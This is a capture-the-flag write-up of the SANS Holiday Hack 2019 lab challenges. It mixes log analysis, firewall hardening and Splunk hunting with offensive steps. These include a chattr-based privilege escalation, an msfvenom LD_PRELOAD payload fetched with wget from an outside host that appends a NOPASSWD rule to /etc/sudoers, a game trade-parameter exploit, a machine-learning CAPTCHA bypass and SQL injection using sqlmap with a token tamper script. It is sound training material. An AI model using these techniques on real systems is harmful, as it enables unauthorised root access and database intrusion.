We've won! But, this leaves us unsatisfied. By setting all the parameters to their maximal values (and exploiting a bug where arriving on Dec 26th means we arrived 364 days before Christmas), we get a score of 1,517,880. Seems like we can do better.

When the game conditions have been met, we get a URL for the victory screen, which includes a verification hash. This hash is different from the hash used on the hard difficulty, and we were not able to crack how this hash is generated.

Instead, we found some vulnerabilities in the trade function. We start the game (even on hard), and request a trade. We are offering negative 8,000 distances in exchange for bajillions of reindeer, e.g. itemQty=8675309&tradeFor=Reindeer&reqQty=-8000&itemRequested=Distance. The trade function increases our distance by 8,000, gives us bajillions of reindeer, and redirects us to the victory screen with a valid verification hash:

In this way, we can bypass the hash entirely.

nyancat, nyancat
I love that nyancat!
My shell's stuffed inside one
Whatcha' think about that?

Sadly now, the day's gone
Things to do!  Without one...
I'll miss that nyancat
Run commands, win, and done!

Log in as the user alabaster_snowball with a password of Password2, and land in a Bash prompt.

Target Credentials:

username: alabaster_snowball
password: Password2

The hint guides us towards /etc/passwd:

elf:x:1000:1000::/home/elf:/bin/bash
alabaster_snowball:x:1001:1001::/home/alabaster_snowball:/bin/nsh

Alabaster says that he thought his shell was Bash, but it's /bin/nsh instead. We don't have permission to modify /etc/passwd to point to the correct file, but if we look at the permissions on /bin/nsh, we see that anyone can write to it:

elf@term_nyanshell:~$ ls -l /bin/nsh
-rwxrwxrwx 1 root root 75680 Dec 11 17:40 /bin/nsh

Trying to copy bash to nsh results in an error, though:

elf@term_nyanshell:~$ cp /bin/bash /bin/nsh
cp: cannot create regular file '/bin/nsh': Operation not permitted

Turning to the second hint we see that we can run chattr as root:

elf@term_nyanshell:~$ sudo -l
Matching Defaults entries for elf on term_nyanshell:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User elf may run the following commands on term_nyanshell:
    (root) NOPASSWD: /usr/bin/chattr

This final hint (combined with the chattr man page) makes it all clear: Have you heard any chatter about immutable files? First, we use our sudo access to make /bin/nsh no longer immutable, then we copy bash over:

elf@term_nyanshell:~$ sudo chattr -i /bin/nsh
elf@term_nyanshell:~$ cp /bin/bash /bin/nsh  
elf@term_nyanshell:~$ su - alabaster_snowball
Password: 


Loading, please wait......

You did it! Congratulations!
alabaster_snowball@term_nyanshell:~$

The second link has a list of SysMon events:

The first thing we do is adjust our time range to "Search in all messages." A frame on the lower right of the window will pop up with 10 questions for us.

As we answer the questions, we'll get some guidance on how else we could've solved it. We decided to stick with our original approach, to show different solutions.

Hello dear player!  Won't you please come help me get my wish!
I'm searching teacher's database, but all I find are fish!
Do all his boating trips effect some database dilution?
It should not be this hard for me to find the quiz solution!

Find the solution hidden in the MongoDB on this system.

If we just run the mongo client, we get:

elf@term_mongo:~$ mongo
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27017
2020-01-04T01:25:21.256+0000 W NETWORK  [thread1] Failed to connect to 127.0.0.1:27017, in(checking socket for error after poll), reason: Connection refused
2020-01-04T01:25:21.256+0000 E QUERY    [thread1] Error: couldn't connect to server 127.0.0.1:27017, connection attempt failed :
connect@src/mongo/shell/mongo.js:251:13
@(connect):1:6
exception: connect failed


Hmm... what if Mongo isn't running on the default port?

So, our first task is to find what port the server is running on. We have a couple hints about some commands we can run.

We start by figuring out what lsof -i would have done, if lsof were available. From the lsof man page:

-i [i]
    selects the listing of files any of whose Internet address matches the
    address specified in i. If no address is specified, this option
    selects the listing of all Internet and x.25 (HP-UX) network files.

lsof would have helped us find the right port number, but as it's not available, we're guided towards ps instead.

elf@term_mongo:~$ ps ax
  PID TTY      STAT   TIME COMMAND
    1 pts/0    Ss     0:00 /bin/bash
    9 ?        Sl     0:01 /usr/bin/mongod --quiet --fork --port 12121 --bind_ip 127.0.0.1 --logpath=/tmp/mongo.log
   57 pts/0    R+     0:00 ps ax

The Mongo documentation from the hint tells us how to connect to a non-default port:

elf@term_mongo:~$ mongo --port=12121
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:12121/
MongoDB server version: 3.6.3
Welcome to the MongoDB shell.
> 

The documentation link in the hint sends us to list databases, so we'll try that first:

> db.adminCommand( { listDatabases: 1 } )
{
        "databases" : [
                {
                        "name" : "admin",
                        "sizeOnDisk" : 32768,
                        "empty" : false
                },
                {
                        "name" : "elfu",
                        "sizeOnDisk" : 294912,
                        "empty" : false
                },
                {
                        "name" : "local",
                        "sizeOnDisk" : 65536,
                        "empty" : false
                },
                {
                        "name" : "test",
                        "sizeOnDisk" : 32768,
                        "empty" : false
                }
        ],
        "totalSize" : 425984,
        "ok" : 1
}

If it's a solution to a quiz we're after, elfu sounds like a good place to start. Perusing the documentation some more, we switch to that database, then list the contents ("collections"):

> use elfu
switched to db elfu
> db.getCollectionNames() 
[
        "bait",
        "chum",
        "line",
        "metadata",
        "solution",
        "system.js",
        "tackle",
        "tincan"
]

These must be the fishing-related terms that were referenced when first connecting to the system. Our goal is the solution, so we'll find that:

> db.loadServerScripts()
> displaySolution()

.
       __/ __
            /
       /.'o'. 
        .o.'.
       .'.'o'.
      o'.o.'.*.
     .'.o.'.'.*.
    .o.'.o.'.o.'.
       [_____]
        ___/

Congratulations!!

If we check sudo -l, we see an interesting entry:

(root) SETENV: NOPASSWD: /usr/bin/python /updater.py

This is noteworthy because we're allowed to configure the environment (SETENV). One environment variable we can set is LD_PRELOAD, which is:

A list of additional, user-specified, ELF shared objects to be loaded before all others.

We can use msfvenom, a tool that comes with Metasploit to create a shared object that will run an arbitrary command:

msfvenom -p linux/x64/exec CMD="echo 'elf ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers" -f elf-so -o sudo.so

Now we just download this, and run our command with LD_PRELOAD set to our malicious file:

elf@term_mongo:~$ wget https://example.net/sudo.so
elf@term_mongo:~$ sudo LD_PRELOAD=/home/elf/sudo.so -E /usr/bin/python /updater.py

At this point, it looks like our command has failed. However we should now be able to run any command without a password:

elf@term_mongo:~$ sudo su -
root@term_mongo:~# id
uid=0(root) gid=0(root) groups=0(root)

Inner Voice: Kent. Kent. Wake up, Kent.
Inner Voice: I'm talking to you, Kent.
Kent TinselTooth: Who said that? I must be going insane.
Kent TinselTooth: Am I?
Inner Voice: That remains to be seen, Kent. But we are having a conversation.
Inner Voice: This is Santa, Kent, and you've been a very naughty boy.
Kent TinselTooth: Alright! Who is this?! Holly? Minty? Alabaster?
Inner Voice: I am known by many names. I am the boss of the North Pole. Turn to me and be hired after graduation.
Kent TinselTooth: Oh, sure.
Inner Voice: Cut the candy, Kent, you've built an automated, machine-learning, sleigh device.
Kent TinselTooth: How did you know that?
Inner Voice: I'm Santa - I know everything.
Kent TinselTooth: Oh. Kringle. *sigh*
Inner Voice: That's right, Kent. Where is the sleigh device now?
Kent TinselTooth: I can't tell you.
Inner Voice: How would you like to intern for the rest of time?
Kent TinselTooth: Please no, they're testing it at srf.elfu.org using default creds, but I don't know more. It's classified.
Inner Voice: Very good Kent, that's all I needed to know.
Kent TinselTooth: I thought you knew everything?
Inner Voice: Nevermind that. I want you to think about what you've researched and studied. From now on, stop playing with your teeth, and floss more.
*Inner Voice Goes Silent*

Kent TinselTooth: Oh no, I sure hope that voice was Santa's.
Kent TinselTooth: I suspect someone may have hacked into my IOT teeth braces.
Kent TinselTooth: I must have forgotten to configure the firewall...
Kent TinselTooth: Please review /home/elfuuser/IOTteethBraces.md and help me configure the firewall.
Kent TinselTooth: Please hurry; having this ribbon cable on my teeth is uncomfortable.

cat IOTteethBraces.md
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT DROP
sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 22 -s 172.19.0.225 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -L

We're told to review IOTteethBraces.md:

1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.
2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains.
3. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSH server (on port 22).
4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.
5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.
6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.

For the first requirement, we can use an example from IOTteethBraces.md:

elfuuser@term_iptables:~$ sudo iptables -P INPUT DROP
elfuuser@term_iptables:~$ sudo iptables -P FORWARD DROP
elfuuser@term_iptables:~$ sudo iptables -P OUTPUT DROP

Like with most Linux tools, we get no output if the command succeeded. We can test the current configuration with a line from the uploud.com hint:

elfuuser@term_iptables:~$ sudo iptables -L 
Chain INPUT (policy DROP)
target     prot opt source               destination
Chain FORWARD (policy DROP)
target     prot opt source               destination
Chain OUTPUT (policy DROP)
target     prot opt source               destination

Requirement two is also a one-liner from the hint:

elfuuser@term_iptables:~$ sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
elfuuser@term_iptables:~$ sudo iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

For the next one, we modify a command from the Markdown file:

elfuuser@term_iptables:~$ sudo iptables -A INPUT -p tcp --dport 22 -s 172.19.0.225 -j ACCEPT

To allow any connections to ports 21 and 80, we use a command from the hint:

elfuuser@term_iptables:~$ sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT
elfuuser@term_iptables:~$ sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT

We can slightly tweak the command above to accept HTTP output traffic:

elfuuser@term_iptables:~$ sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT

Finally, we'll accept our own traffic. This one wasn't in any hint, but we're familiar enough by now that we can find the correct invocation:

elfuuser@term_iptables:~$ sudo iptables -A INPUT -i lo -j ACCEPT

Our final configuration looks like this:

elfuuser@term_iptables:~$ sudo iptables -L 
Chain INPUT (policy DROP)
target     prot opt source               destination         
ACCEPT     all  --  anywhere             anywhere             ctstate RELATED,ESTABLISHED
ACCEPT     tcp  --  172.19.0.225         anywhere             tcp dpt:22
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:21
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:80
ACCEPT     all  --  anywhere             anywhere            
Chain FORWARD (policy DROP)
target     prot opt source               destination         
Chain OUTPUT (policy DROP)
target     prot opt source               destination         
ACCEPT     all  --  anywhere             anywhere             ctstate RELATED,ESTABLISHED
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:80

And sure enough, Kent verifies it and congratulates us:

Kent TinselTooth: Great, you hardened my IOT Smart Braces firewall!

Some JSON files can get quite busy.
There's lots to see and do.
Does C&C lurk in our data?
JQ's the tool for you!

-Wunorse Openslae

Identify the destination IP address with the longest connection duration
using the supplied Zeek logfile. Run runtoanswer to submit your answer.

The hint is kind enough to provide us with exactly the one-liner we need:

elf@term_jq:~$ cat conn.log | jq -s 'sort_by(.duration) | reverse | .[0]'
{
  "ts": "2019-04-18T21:27:45.402479Z",
  "uid": "CmYAZn10sInxVD5WWd",
  "id.orig_h": "192.168.52.132",
  "id.orig_p": 8,
  "id.resp_h": "13.107.21.200",
  "id.resp_p": 0,
  "proto": "icmp",
  "duration": 1019365.337758,
  "orig_bytes": 30781920,
  "resp_bytes": 30382240,
  "conn_state": "OTH",
  "missed_bytes": 0,
  "orig_pkts": 961935,
  "orig_ip_bytes": 57716100,
  "resp_pkts": 949445,
  "resp_ip_bytes": 56966700
}
elf@term_jq:~$ runtoanswer 
Loading, please wait......


What is the destination IP address with the longes connection duration? 13.107.21.200


Thank you for your analysis, you are spot-on.
I would have been working on that until the early dawn.
Now that you know the features of jq,
You'll be able to answer other challenges too.

-Wunorse Openslae

Congratulations!

Entering the Student Union, and clicking on Michael and Jane complete this objective.

Inspecting the Quad, we find the letter next to a tree:

Unfortunately, the subject line is redacted! However, they didn't do a very good job. A simple copy-paste is enough to recover the text.

This challenge requires a Windows system. You can use a free test VM from Microsoft.

We download the data, install DeepBlueCLI, and then get cracking in a Powershell session. Running DeepBlue outputs alerts for several password spray attacks:

.\DeepBlue.ps1 Security.evtx

Date    : 11/19/2019 4:22:46 AM
Log     : Security
EventID : 4648
Message : Distributed Account Explicit Credential Use (Password Spray Attack)
Results : The use of multiple user account access attempts with explicit credentials is an indicator of a password spray attack.
          Target Usernames: ygoldentrifle esparklesleigh hevergreen Administrator sgreenbells cjinglebuns tcandybaubles bbrandyleaves bevergreen lstripyleaves gchocolatewine wopenslae ltrufflefig supatree mstripysleigh pbrandyberry civysparkles sscarletpie
          ftwinklestockings cstripyfluff gcandyfluff smullingfluff hcandysnaps mbrandybells twinterfig civypears ygreenpie ftinseltoes smary ttinselbubbles dsparkleleaves
          Accessing Username: -
          Accessing Host Name: -

However, we're looking for the user account that was compromised with the password spray attack. As the attacker is trying passwords against a large number of accounts, any accounts with successful logins will have been compromised. To find successful authentications, we turn to our new-found Powershell-fu, parsing the log and filtering on event ID 4624 (successful login):

Get-WinEvent -Path .\Security.evtx -FilterXPath "*[System[EventID=4624]]"


   ProviderName: Microsoft-Windows-Security-Auditing

TimeCreated                     Id LevelDisplayName Message
-----------                     -- ---------------- -------
11/19/2019 4:23:47 AM         4624 Information      An account was successfully logged on....
11/19/2019 4:23:41 AM         4624 Information      An account was successfully logged on....
...
11/19/2019 4:21:34 AM         4624 Information      An account was successfully logged on....
8/23/2019 5:00:41 PM          4624 Information      An account was successfully logged on....
8/23/2019 5:00:20 PM          4624 Information      An account was successfully logged on....

We see some successful logins, around the same time as the password spray attack. We'll rerun the previous search, this time using Select-Object to format the output with some additional fields:

Get-WinEvent -Path .\Security.evtx -FilterXPath "*[System[EventID=4624]]" | 
Select-Object -Property TimeCreated,MachineName,@{
Name='TargetAccountName';Expression={$_.Properties[5].Value}},@{
Name='WorkstationName';Expression={$_.Properties[11].Value}}

TimeCreated           MachineName  TargetAccountName WorkstationName
-----------           -----------  ----------------- ---------------
11/19/2019 4:23:47 AM DC1.elfu.org DC1$              -
11/19/2019 4:23:41 AM DC1.elfu.org DC1$              -
11/19/2019 4:23:05 AM DC1.elfu.org supatree          WORKSTATION
11/19/2019 4:22:41 AM DC1.elfu.org DC1$              -
11/19/2019 4:22:25 AM DC1.elfu.org DC1$              -
11/19/2019 4:22:25 AM DC1.elfu.org DC1$              -
11/19/2019 4:22:25 AM DC1.elfu.org DC1$              -
11/19/2019 4:22:25 AM DC1.elfu.org DC1$              -
11/19/2019 4:22:25 AM DC1.elfu.org DC1$              -
11/19/2019 4:21:46 AM DC1.elfu.org DC1$              -
11/19/2019 4:21:46 AM DC1.elfu.org DC1$              -
11/19/2019 4:21:45 AM DC1.elfu.org supatree          DC1
11/19/2019 4:21:41 AM DC1.elfu.org DC1$              -
11/19/2019 4:21:34 AM DC1.elfu.org pminstix          WORKSTATION
8/23/2019 5:00:41 PM  DC1.elfu.org DC1$              -
8/23/2019 5:00:20 PM  DC1.elfu.org pminstix          WORKSTATION

We've narrowed it down to two users: pminstix and supatree. Of these, only supatree shows up in the DeepBlue password spraying alert list of usernames, which is our answer.

Our solution follows Josh's blog post pretty closely. We know the attacker used the lsass.exe process to launch a tool to retrieve password hashes. Our first search is for programs with a parent process of lsass.exe. We pipe the output into jq for formatting:

eql query -f sysmon-data.json "process where parent_process_name = 'lsass.exe'" | 
  jq "{process_name,parent_process_name,command_line,pid}"
{
  "process_name": "cmd.exe",
  "parent_process_name": "lsass.exe",
  "command_line": "C:\\Windows\\system32\\cmd.exe",
  "pid": 3440
}

lsass launched a single process, a command prompt. Let's see what commands were issued via the command prompt by looking for processes with a parent process id ("ppid") of our cmd.exe process:

eql query -f sysmon-data.json "process where ppid = 3440" | 
  jq "{process_name,parent_process_name,command_line,pid}"
{
  "process_name": "ntdsutil.exe",
  "parent_process_name": "cmd.exe",
  "command_line": "ntdsutil.exe  \"ac i ntds\" ifm \"create full c:\\hive\" q q",
  "pid": 3556
}

The tool was ntdsutil.exe.

Looking at commands run with other cmd.exe invocations, we see some bad-looking Powershell, and a password spraying attack. We can even tell that supatree's password was Passw0rd1 when they fell victim to the spraying attack, as the attacker runs net use \\\\127.0.0.1\\IPC$ /user:ELFU\\supatree Passw0rd1 to try to mount a fileshare with that username and password, then runs net use /delete \\\\127.0.0.1\\IPC$ to unmount it.

We download the provided ZIP file, and extract it. In the archive, we find the standard Zeek logs for about 21 hours in August 2019. We also see a directory named ELFU, which has RITA output. Since the hint told us to use RITA, we'll pursue that.

Opening index.html gives us a summary of what RITA found. We have a number of tabs at the top, including Beacons and Long Connections. We have the same IP address at the top of both of those lists, 192.168.134.130.

In the beaconing detection, that IP's activity to 144.202.46.214 has a score of 99.8%. If we search for those IP addresses in the Zeek conn logs (fgrep 144.202.46.214 conn.* | fgrep 192.168.134.130), we find a service of http, so we dig deeper in the http logs.

Like clockwork, we see HTTP POST requests every 10 seconds from 192.168.134.130 to http://144.202.46.214/504vsa/server/vssvc.php. Unforunately, our logs begin with that activity, so we can't determine how the system was compromised, but we're reasonably compromised that 192.168.134.130 is compromised.

We login to Splunk with the provided credentials, and are greeted with some instructions about the challenge. The Elf University SOC has a secure chat service, where we get some tips from Kent and the SOC channel. In fact, the conversation in the #ELFU SOC channel gives us our first answer, sweetums.

We've identified the system, now we wish to know the file that was accessed. At this point, we start chatting with Alice Bluebird, who is the only other chat we have messages in. She gives us some resources, including links to the search and raw files that she tells us we'll need for the challenge question.

For the next training question, she gives us an example search (index=main cbanas), and tells us to modify it to search for his name. It's unclear which name she's referring to, but she just told us that the Professor is close with Santa, so searching index=main santa gives us a few logs. The first one is a Powershell script referencing an intriguing file: C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt

Alice mentions the download of a scanning tool. Using a search of: index=main sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventDescription="File Created", we find a download of nmap.zip.

Our next task is to identify the C2 server. Alice gets us most of the way there, with the following search: index=main sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" powershell EventCode=3. We just need to identify the field that contains the FQDN of the server Powershell is connecting to. DestinationHostname seems like a good bet, and we find a single value there, 144.202.46.214.vultr.com.

Alice walks us through most of the next question, finding events that happen shortly before and after the earliest Powershell invocation. Drilling down on Sysmon data (sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"), we look at unique process IDs, and find two: 6268 and 5864. Alice prompts us to find what created those processes (using Event ID 4688), and reminds us that we might need to correlate process IDs in hexadecimal with process IDs in decimal.

Alice provides us a link to search Event ID 4688 ("A new process has been created") on the Windows logs, while also removing the time constraint. We tweak her search to evaluate the hex process_ids to decimal so we can match them against our two process IDs. index=main sourcetype=WinEventLog EventCode=4688 | eval decimal_pid=tonumber(process_id, 16) | search (decimal_pid=6268 OR decimal_pid=5864)

This uses a function described in the YouTube video, to help us convert between hexadecimal and decimal, and then we search for the two process IDs we previously found.

We can tell that a macro-enabled Word document (with a .docm extension) spawned the Powershell instance.

For our next question, Alice gives us a search against the stoQ data, and tells us some additional constraints. We modify her search to add a constraint on the mail subject line (thus ignoring the replies):

index=main sourcetype=stoq "results{}.workers.smtp.subject"="holiday cheer assignment submission" | 
  table _time results{}.workers.smtp.to results{}.workers.smtp.from 
              results{}.workers.smtp.subject results{}.workers.smtp.body | 
  sort - _time

With what we know so far, the next question is pretty easy. To recover the password for the ZIP file (which contains the malicious Word document), we search the stoQ data for our filename: index=main sourcetype=stoq "19th Century Holiday Cheer Assignment.docm"

StoQ observed the e-mail (SMTP) transaction, in which Bradly Buttercups instructed Prof. Banas on how to open the file. In this same message, we see the sender of the malicious file, which has an e-mail that's not quite right. In this domain look-alike attack, instead of elfu.org, the message comes from eifu.org,

To review our training questions:

What was the message for Kent that the adversary embedded in this attack?

Alice gives us some guidance on getting started, including a search with a single event to start from, and then a Splunk incantation to retrieve the path to artifacts from that file. We tweak her search a bit, to give us the URL of the files directly:

index=main sourcetype=stoq "results{}.workers.smtp.from"="bradly buttercups " | 
eval results = spath(_raw, "results{}") | mvexpand results | 
eval path=spath(results, "archivers.filedir.path"), 
     filename=spath(results, "payload_meta.extra_data.filename"), 
     url="https://elfu-soc.s3.amazonaws.com/stoQ%20Artifacts".path | 
search path!="" | table filename,url

There's a lot going on here. First, we start with the stoQ event from the malicious sender. stoQ has expanded our ZIP (the video says that at Elf U, stoQ will try to open ZIP files using a number of common passwords), and examined the files contained within. The results of that examination (and the links to where the files have been stored as artifacts) are contained in the event, in JSON format, under the results key.

To access each item in the list, we run eval results = spath(_raw, "results{}"). This will extract _raw["results"], and the results{} notation will cause Splunk to return an item for each result in the list.

For more information about this step, see spath: Using wildcards in place of an array index.

Next, we call mvexpand results, which will turn our "multivalue" field into separate events. This way, we treat each file contained in the archive as a separate Splunk event.

We have another eval function, to copy some values into fields that are easier to deal with. path=archivers.filedir.path and filename=payload_meta.extra_data.filename. We also create a new variable, url, which will have the direct path to the artifact on the elfu-soc S3 bucket.

We only want events from which an artifact was stored, so we specify search path!="", and finally we display this as a table of filename and url, allowing us to quickly drill down on the interesting files.

Our first target is the Word document itself, "19th Century Holiday Cheer Assignment.docm," but that file has been sanitized, as Alice wouldn't put actual malicious executable content into this exercise. In its place, we see:

Cleaned for your safety. Happy Holidays!

In the real world, This would have been a wonderful artifact for you to investigate, but it had malware in it of course so it's not posted here. Fear not! The core.xml file that was a component of this original macro-enabled Word doc is still in this File Archive thanks to stoQ. Find it and you will be a happy elf :-)

Using this hint, we grab core.xml instead, which contains:

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:dcmitype="http://purl.org/dc/dcmitype/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <dc:title>Holiday Cheer Assignment</dc:title>
  <dc:subject>19th Century Cheer</dc:subject>
  <dc:creator>Bradly Buttercups</dc:creator>
  <cp:keywords></cp:keywords>
  <dc:description>Kent you are so unfair. And we were going to make you the king of the Winter Carnival.</dc:description>
  <cp:lastModifiedBy>Tim Edwards</cp:lastModifiedBy>
  <cp:revision>4</cp:revision>
  <dcterms:created xsi:type="dcterms:W3CDTF">2019-11-19T14:54:00Z</dcterms:created>
  <dcterms:modified xsi:type="dcterms:W3CDTF">2019-11-19T17:50:00Z</dcterms:modified>
  <cp:category></cp:category>
</cp:coreProperties>

With that, we find the answer to our challenge question:

After talking with Minty, we go to her room to check out the grinder. Someone is jumping around, and heads into her closet. There's a portrait of Einstein on the wall, and we suddenly feel like the eyes are moving, and someone is watching us from behind the wall! We try to follow the mysterious character into the closet, but they've disappeared! We notice something strange about the back wall, and clicking on it brings up a keyring and a Schlage lock.

Minty gave us a hint about the Network tab of the browser console. Turning to that now, we see our mysterious character in an image called "Krampus." Taking a closer look, we see a key hanging on their left side. Seems like we have a key to copy…

We start by downloading Deviant's Schlage key template, as this matches the lock in the closet. We crop Krampus to just the key, and rotate it to match. We resize the image to increase the pixels per inch, to make it a bit easier to work with.

Next, we load the template, line it up with the top and bottom of the key, and simply read off the depths:

We use Minty's handy key-cutting machine to create this key, go into the closet, click on the keyring to choose the key, and then put it into the lock.

After solving this objective we gain access to the steam tunnels via our badge. This makes getting around a lot easier.

In the tunnels behind and under Minty's completely normal closet, Krampus lays out the following challenge for us:

We first investigate https://fridosleigh.com manually. The CAPTEHA is pretty difficult, and even tricks like messing with the client-side timer won't bypass the server-side time requirement.

Krampus has done a lot of the heavy lifting for us, in providing us training images for our machine learning model, and in writing a script to interact with the website. Chris Davis' talk from Alabaster's hint walks us through the rest, and even links us to a GitHub repo with some very useful code:

To complete this objective, we need to train our model with the 12,000 images provided, and then combine a script from Chris with the script from Krampus.

To train our model, we follow the instructions in the repository README: python3 retrain.py --image_dir ./training_images/. This takes a bit of time.

In order for Krampus' script to use the prediction model, we'll copy the necessary bits of code over. After a bit of hacking, our script looks like this, with the following code snippets in MISSING CODE… GOES HERE:

import base64
from img_rec_tf_ml_demo import predict_images_using_trained_model as predict
import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
import tensorflow as tf
tf.logging.set_verbosity(tf.logging.ERROR)
import numpy as np
import threading
import queue
import time
import sys

#### The following is shamelessly stolen from predict_images_using_trained_model.main:

# Loading the Trained Machine Learning Model created from running retrain.py on the training_images directory
graph = predict.load_graph('/tmp/retrain_tmp/output_graph.pb')
labels = predict.load_labels("/tmp/retrain_tmp/output_labels.txt")

# Load up our session
input_operation = graph.get_operation_by_name("import/Placeholder")
output_operation = graph.get_operation_by_name("import/final_result")
sess = tf.compat.v1.Session(graph=graph)

# Can use queues and threading to spead up the processing
q = queue.Queue()

yourREALemailAddress = "vlad@gmail.com"

This is just copying imports and load functionality from the ML script. We also make sure to provide our actual e-mail address.

#Going to interate over each of our images.
for image in b64_images:
    while len(threading.enumerate()) > 10:
        time.sleep(0.0001)

    #predict_image function is expecting png image bytes so we read image as 'rb' to get a bytes object
    image_bytes = base64.b64decode(image['base64'])
    threading.Thread(target=predict.predict_image, args=(q, sess, graph, image_bytes, image['uuid'], 
                     labels, input_operation, output_operation)).start()

print('Waiting For Threads to Finish...')
while q.qsize() < len(b64_images):
    time.sleep(0.001)

#getting a list of all thread-returned results
prediction_results = [q.get() for x in range(q.qsize())]

final_answer = ','.join([p['img_full_path'] for p in prediction_results if p['prediction'] in challenge_image_types])

This is a bit more complicated than it needs to be, since we're using threading to speed up the process. All we're doing, though, is feeding the bytes from the image that Krampus' code downloaded to the prediction script from the video, and then submitting the result of the prediction.

We loop over all the images that the server sent, and then call predict_image on the base64-decoded image. predict_image will return the name of the image type (e.g. Stockings, Santa Hats). If the name is the list of types the server wants us to select (challenge_image_types), we add it to the list we'll be submitting.

After a bit, we're told that we won, and we receive an e-mail with our code!

To start, we can visit the site and submit an application to get a feel for the site. Filling in the random data and submitting it, we get a message that our application was accepted. Submitting using the same email address again, we see a message that gives us an error indicating the the email address is probably a unique key in the database.

The fact that the site is displaying the failed SQL to us is a good indication it will be vulnerable to SQL injection. Using the email address again, we can also check our application status:

Playing around a bit manually, let's try a simple injection, by finishing the SQL command ); and commenting out the rest /*.

Well, it didn't work, however we did learn that the backend is using MariaDB. A quick Google search reveals three ways to make a valid comment. One of which is two dashes followed by a space:

Only problem now is our column count is off, any easy fix. We could add all the data we want in this field, but in this case it's easier to just submit it down below. Don't forget the added column for the application status:

Looks like we've got a valid query again, we just hit the duplicate email address. Let's try again with a different email and also change our application status to 'accepted'.

Okay, that was fun, but it's time to get down to business. We opt to attack the application check form (since it's smaller) and by using the Network tab in our browser's console, we can view the query string parameters that is issued, and copy it as a CURL command:

The parameters have the submitted elfmail field, as well as an additional one, token. Poking around in the source code a bit, we notice the following Javascript snippet:

function submitApplication() {
  console.log("Submitting");
  elfSign();
  document.getElementById("check").submit();
}
function elfSign() {
  var s = document.getElementById("token");

  const Http = new XMLHttpRequest();
  const url='/validator.php';
  Http.open("GET", url, false);
  Http.send(null);

  if (Http.status === 200) {
    console.log(Http.responseText);
    s.value = Http.responseText;
  }

}

Submitting the application is a two-step process: a request to validator.php, which returns a token, and the actual submission. Let's see if we can duplicate this behavior:

$ curl -s https://studentportal.elfu.org/validator.php
MTAwODc1ODE5NjQ4MTU3NjE4NDY4MjEwMDg3NTgxOS42NDg=_MTI5MTIxMDQ5MTQ5NDQzMjI4MDI2MjI4LjczNg==

That seems to match the token that was observed in the Network traffic. However, we notice that the token changes with almost every request (likely time based).

Pepper Minstix gave us a hint to use Sqlmap, which is easy to install (brew install sqlmap on MacOS). Needing the token certainly adds a wrinkle into it, though. Looking at the documentation, we can identify a few options which seem useful:

-u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")

--eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                    "import hashlib;id2=hashlib.md5(id).hexdigest()")
--tamper=TAMPER     Use given script(s) for tampering injection data

We can update the token parameter with every request using --eval. We run the following Python code:

import urllib3

http = urllib3.PoolManager()
token=http.request('GET','https://studentportal.elfu.orgvalidator.php').data.decode('utf-8')

We can run it as one-liner on our sqlmap command with:

sqlmap -u "https://studentportal.elfu.org/application-check.php?elfmail=mtaylor2%40lasers.com&token=" \
--eval "import urllib3; http=urllib3.PoolManager(); \
token=http.request('GET','https://studentportal.elfu.orgvalidator.php').data.decode('utf-8')"

However, since we were told we might need to use a tamper script we'll proceed down that path instead. It also makes the command line a lot easier to read. Looking through some of sqlmap's included tamper scripts it becomes clear we'll need to write a python script that defines a tamper function that passes along the current payload as an argument. We can either put that in the normal tamper directory or in its own directory along with an empty __init__.py file.

First (Failed) Attempt:

import urllib3

def tamper(payload, **kwargs):
    retVal = payload
    http=urllib3.PoolManager()
    token=http.request('GET',
        'https://studentportal.elfu.org/validator.php').data.decode('utf-8')

    retVal = payload + '&token=' + token
    return retVal

sqlmap -u "https://studentportal.elfu.org/application-check.php?elfmail=mtaylor2%40lasers.com&token=" \
--tamper elfutamper/elfutamper.py

Okay, this didn't work and we need to figure out why. We could setup a proxy to see what traffic sqlmap is sending, but it turns out sqlmap comes with some great verbosity options. Using -v4 we can spot the problem:

The PAYLOAD looks correct, but sqlmap clearly encoded it, including our '&token=' parameter. Conveniently, there's another good sqlmap option:

--skip-urlencode    Skip URL encoding of payload data

